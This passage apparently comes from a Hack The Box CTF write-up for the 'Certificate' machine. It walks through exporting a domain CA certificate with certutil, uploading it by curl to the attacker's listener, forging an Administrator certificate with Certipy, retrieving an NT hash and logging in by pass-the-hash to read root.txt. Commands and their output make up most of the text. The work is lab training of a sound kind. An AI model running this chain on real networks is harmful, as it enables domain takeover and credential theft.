BUILTIN\Pre-Windows 2000 Compatible Access:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
Fail
The next step is to drop a DLL at C:\Windows\System32\spool\drivers\x64\3
, but the directory does not exist, and I lack permission to create it.
1
2
3
4
5
evil-winrm-py PS C:\Users\Ryan.K> dir C:\Windows\System32\spool\drivers\x64\3
Cannot find path 'C:\Windows\System32\spool\drivers\x64\3' because it does not exist.
evil-winrm-py PS C:\Windows\System32> New-Item -ItemType Directory -Path "C:\Windows\System32\spool\drivers\x64\3" -Force
Access to the path 'x64' is denied.
Access to the path '3' is denied.
Success
Since I have modify (M) permissions on C:\Windows
, I can download the CA certificate, enabling me to forge the Administrator’s certificate—another hint from the box’s name. Compromising the CA certificate can result in full domain takeover.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
evil-winrm-py PS C:\Users\Ryan.K\Documents> certutil -exportPFX my "Certificate-LTD-CA" cert.pfx
my "Personal"
================ Certificate 3 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 3:55 PM
NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
Key Container = Certificate-LTD-CA
Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file cert.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.
I’ll transfer cert.pfx
to my box. With the domain’s CA certificate, I can forge certificates for any user.
1
evil-winrm-py PS C:\Users\Ryan.K\Documents> curl.exe -X POST -F "[email protected]" http://10.10.14.203:8000/upload
1
"10.10.11.71 - - [26/Sep/2025 03:05:41] [Uploaded] "cert.pfx" --> /home/simon/HTB/Hard/Certificate/cert.pfx
To forge a certificate for Administrator, I’ll use Certipy
.
1
2
3
4
5
➜ Certificate certipy forge -ca-pfx cert.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=CERTIFICATE,DC=HTB'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'
With the forged certificate, I can now request the TGT and NT hash of Administrator.
1
2
3
4
5
6
7
8
9
10
11
12
➜ Certificate certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.11.71
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
1
2
3
➜ Certificate nxc winrm certificate.htb -u administrator -H d804304519bf0143c14cbf1c024408c6
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\administrator:d804304519bf0143c14cbf1c024408c6 (Pwn3d!)
I can grab the root.txt.
1
2
3
4
5
➜ Certificate nxc winrm certificate.htb -u administrator -H d804304519bf0143c14cbf1c024408c6 -X "type C:\Users\Administrator\Desktop\root.txt"
WINRM 10.10.11.71 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM 10.10.11.71 5985 DC01 [+] certificate.htb\administrator:d804304519bf0143c14cbf1c024408c6 (Pwn3d!)
WINRM 10.10.11.71 5985 DC01 [+] Executed command (shell type: powershell)
WINRM 10.10.11.71 5985 DC01 82a7255efdade4420b93db1e3924e90a
Thanks for reading writeup.